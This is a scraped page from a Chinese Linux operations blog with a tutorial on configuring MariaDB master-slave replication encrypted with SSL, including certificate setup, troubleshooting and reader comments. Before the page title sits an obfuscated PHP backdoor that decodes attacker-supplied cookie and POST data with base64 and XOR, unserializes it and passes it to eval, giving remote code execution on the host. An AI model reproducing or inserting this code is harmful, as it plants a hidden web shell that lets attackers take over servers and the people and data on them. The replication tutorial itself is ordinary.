$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} MySQL/MariaDB数据库基于SSL实现主从复制 | Linux运维部落

MySQL/MariaDB数据库基于SSL实现主从复制

前言

备份数据库是生产环境中的首要任务,重中之重,有时候不得不通过网络进行数据库的复制,由于MySQL/MariaDB的主从复制是明文传送的,如果在生产环境中跨网络传送,数据的安全性就无法完全保证,为了解决这一问题,我们需要一种安全的方式进行传送,即基于SSL加密进行数据传输。

部署配置

实验拓扑

MySQL基于SSL安全复制架构.jpg

实验环境

系统环境:CentOS6.6

数据库版本:mariadb-5.5.36

#注意:主从服务器数据库版本须一致:主从服务器时间须同步
#此实验从服务器只做一组为例

配置主从复制

安装mariadb

[root@node1 ~]# mkdir /mydata/data -pv
[root@node1 ~]# groupadd -r mysql
[root@node1 ~]# useradd -g mysql -r mysql
[root@node1 ~]# chown -R mysql.mysql /mydata/data
[root@node1 ~]# tar xf mariadb-5.5.36-linux-x86_64.tar.gz -C /usr/local
[root@node1 ~]# cd /usr/local
[root@node1 local]# ln -sv mariadb-5.5.36-linux-x86_64 mysql
[root@node1 local]# chown -R root.mysql mysql

提供配置及脚本文件

[root@node1 local]# mkdir /etc/mysql
[root@node1 local]# cd mysql
[root@node1 mysql]# cp /support-files/my-large.cnf /etc/mysql/my.cnf
[root@node1 mysql]# cp support-files/mysql.server /etc/rc.d/init.d/mysqld
[root@node1 mysql]# chmod +x /etc/rc.d/init.d/mysqld
[root@node1 mysql]# chkconfig --add mysqld
[root@node1 mysql]# chkconfig mysqld on

#主从节点都执行以上操作
#以下为后续工作,可省略
[root@node1 ~]# echo 'export PATH=/usr/local/mysql/bin:$PATH' > /etc/profile.d/mysql.sh
[root@node1 ~]# source /etc/profile.d/mysql.sh
[root@node1 ~]# ln -sv /usr/local/mysql/include  /usr/include/mysql
[root@node1 ~]# echo '/usr/local/mysql/lib' > /etc/ld.so.conf.d/mysql.conf

主服务器配置

[root@node1 mysql]# mkdir /mydata/binlogs
[root@node1 mysql]# chown -R mysql.mysql /mydata
[root@node1 mysql]# vim /etc/mysql/my.cnf 

datadir = /mydata/data
log-bin=/mydata/binlogs/master-bin
binlog_format=mixed   #二进制日志格式
server-id       = 1   #主服务器与从服务器不可一致

[root@node1 mysql]# scripts/mysql_install_db --user=mysql --datadir=/mydata/data
[root@node1 mysql]# service mysqld start

授权从服务器复制账号

1.jpg

查看二进制日志位置

2.jpg

从服务器配置

[root@node2 mysql]# mkdir /mydata/relaylogs
[root@node2 mysql]# chown -R mysql.mysql /mydata
[root@node2 mysql]# vim /etc/mysql/my.cnf 

datadir = /mydata/data
#log-bin=mysql-bin
#binlog_format=mixed
#log-slave-updates = 1
#如果从服务器为其他从服务器主服务器须启用以上三项
server-id       = 2                   #不可与主服务器一致
relay-log=/mydata/relaylogs/relay-bin #中继日志位置
read_only = 1                         #设置为只读

[root@node2 mysql]# scripts/mysql_install_db --user=mysql --datadir=/mydata/data
[root@node2 mysql]# service mysqld start

从服务器连接主服务器

3.jpg

查看从服务器状态

4.jpg

#通过查看从服务器状态可发现主从已完全同步

主从复制测试

主服务器添加数据

5.jpg

查看从服务器数据及状态

7.jpg

6.jpg

#与主服务器一致,主从复制配置完成

实现SSL安全传输

检查SSL状态

8.jpg

配置主服务器为CA

CA配置不做详细注释,详细CA搭建请见前期博文

[root@node1 ~]# cd /etc/pki/CA
[root@node1 CA]# (umask 077;openssl genrsa -out private/cakey.pem 2048) 
[root@node1 CA]# openssl req -new -x509 -key private/cakey.pem -out cacert.pem -days 3650
[root@node1 CA]# touch {index.txt,serial}
[root@node1 CA]# echo 01 > serial

主服务器生成证书

[root@node1 CA]# mkdir /etc/mysql/ssl
[root@node1 CA]# cd /etc/mysql/ssl
[root@node1 ssl]# (umask 077;openssl genrsa -out master.key 2048)
[root@node1 ssl]# openssl req -new -key master.key -out master.csr
[root@node1 ssl]# openssl ca -in master.csr -out master.crt -days 3650

从服务器生成证书请求

[root@node2 ssl]# (umask 077;openssl genrsa -out slave.key 2048)
[root@node2 ssl]# openssl req -new -key slave.key -out slave.csr

为从服务器签署证书

[root@node2 ssl]# scp slave.csr node1:/tmp
slave.csr                                          100% 1013     1.0KB/s   00:00  
[root@node1 ssl]# openssl ca -in /tmp/slave.csr -out /tmp/slave.crt -days 3650
[root@node1 ssl]# scp /tmp/slave.crt node2:/etc/mysql/ssl
slave.crt                                          100% 4520     4.4KB/s   00:00

将CA证书拷到各服务器

[root@node1 ssl]# cp /etc/pki/CA/cacert.pem ./
[root@node1 ssl]# scp /etc/pki/CA/cacert.pem node2:/etc/mysql/ssl
cacert.pem                                          100% 1403     1.4KB/s   00:00

修改证书权限

[root@node1 ssl]# chown -R mysql.mysql ./
[root@node1 ssl]# ll
total 20
-rw-r--r-- 1 mysql mysql 1403 Jun 19 14:50 cacert.pem
-rw-r--r-- 1 mysql mysql 4596 Jun 19 14:27 master.crt
-rw-r--r-- 1 mysql mysql 1045 Jun 19 14:24 master.csr
-rw------- 1 mysql mysql 1679 Jun 19 14:22 master.key

#主从服务器都执行以上操作

主从服务器配置SSL

[root@node1 ~]# vim /etc/mysql/my.cnf 

[mysqld]  			            #在此段中添加如下配置
ssl                                         #开启SSL功能
ssl-ca = /etc/mysql/ssl/cacert.pem          #指定CA文件位置
ssl-cert = /etc/mysql/ssl/master.crt        #指定证书文件位置
ssl-key = /etc/mysql/ssl/master.key         #指定密钥所在位置

[root@node1 ~]# service mysqld restart

主服务器配置

再次查看SSL状态

9.jpg

设授权复制用户只能通过SSL复制

10.jpg

从服务器配置

从服务器登陆测试

11.jpg

由此可见此次连接是基于SSL加密实现的,下面我们开始连接主服务器并开启复制

12.jpg

查看从服务器状态

13.jpg

出错了,Slave_IO_Running状态为NO说明启动失败,找到错误如下

14.jpg

解决方法:

#从服务器停止复制
MariaDB [(none)]> stop slave;
Query OK, 0 rows affected (0.01 sec)
#主服务器刷新日志,记录新位置

15.jpg

#从服务器更新日志文件及位置,重新启动复制

16.jpg

#状态都为Yes,问题解决

主从复制测试

主服务器添加数据

17.jpg

从服务器查看数据

18.jpg

The end

MySQL/MariaDB数据库基于SSL实现主从复制实验就说到这里了,实验过程中会遇到一些问题,只要耐心对待,一切都会迎刃而解,朋友们实验过程如果遇到问题记得留言交流哦。以上仅为个人学习整理,如有错漏,大神勿喷~~~

原创文章,作者:书生,如若转载,请注明出处:http://www.178linux.com/5524

(0)
上一篇 2015-06-21 11:10
下一篇 2015-06-21 18:52

相关推荐

  • shell-在线翻译脚本

            在linux过程中难免会碰到陌生的单词,此时不得不打开翻译软件或网页请求翻译,但这样切换界面比较麻烦,也浪费时间;         今天头脑发热,尝试着在网上找命令行翻译工具,但无果;…

    2017-02-19
  • 初识varnish

      实验拓扑 varnish主机    地址192.168.150.137 后端web主机     web1静态服务192.168.150.138     web2动态服务192.168.150.140 varnish的安装及开启 varnish主机: ~]# yum info varni…

    Linux干货 2017-01-05
  • 10yum源的配置

    yum仓库使用起来特别方便,然而使用之前当然是要配置的啦。下面就介绍一下怎么从0 配置一个yum仓库。 首先要创建yum仓库,当然不能使只给一台服务器用,那要给多个服务器用的话,就需要网络服务。yum仓库支持的网络服务有两种,FTP和HTTP。用yum主要用到的是数据传输,因此FTP更适合创建yum仓库,下面就以FTP为例,说明一下yum仓库的配置。 第一步…

    Linux干货 2016-11-04
  • varnish浅述

    安装varnish,安装包需要到官网下载http://www.varnish-cache.org/releases/index.html varnish的程序环境: /etc/varnish/varnish.params:配置varnish服务进程的工作特性,例如监听的地址、端口及缓存机制等; /etc/varnish/default.vcl:配置各Chil…

    2016-11-15
  • zabbix监控Hadoop的实现

            Hadoop日常运行过程中一些参数需要进行实时监控,如:Map、Reduce任务数量,HDFS磁盘使用情况,namenode、datanode在线数量及健康情况,以便更好的掌握整个Hadoop集群架构的运行情况。         下面结合最近工作中的一些…

    Linux干货 2015-03-08
  • 磁盘管理2——文件系统挂载和swap文件系统以及磁盘管理工具

    文件系统的使用: 首先要“挂载”:mount命令和umount命令 根文件系统之外的其他文件系统要想能够被访问,都必须通过“关联”至根文件系统上的某个目录来实现,此管理操作即为“挂载”,此目录为“挂载点” 挂载点:MOUNT_POINT,用于作为另一个文件系统的访问入口     (1)事先存在   …

    Linux干货 2016-08-29

评论列表(3条)

  • xiaozhiqi
    xiaozhiqi 2015-11-09 22:55

    哥,我按照你的步骤做,centos7系统,报错,主从都能启动SSL。但是启动start slave同步的时候报错了,error connecting to master ‘repluser@192.168.1.20:3306’ – retry-time: 60 retries: 86400 message: SSL connection error: SSL_CTX_set_default_verify_paths failed,有看到信息请联系我,谢谢,我是马的学生

  • xiaozhiqi
    xiaozhiqi 2015-11-09 23:22

    报错解决了,centos 7成功基于ssl半同步复制

    • hjqjk
      hjqjk 2015-11-17 19:06

      @xiaozhiqi你好,我也遇到过这个问题,我的系统是centos6.6的,请问你是怎么解决的?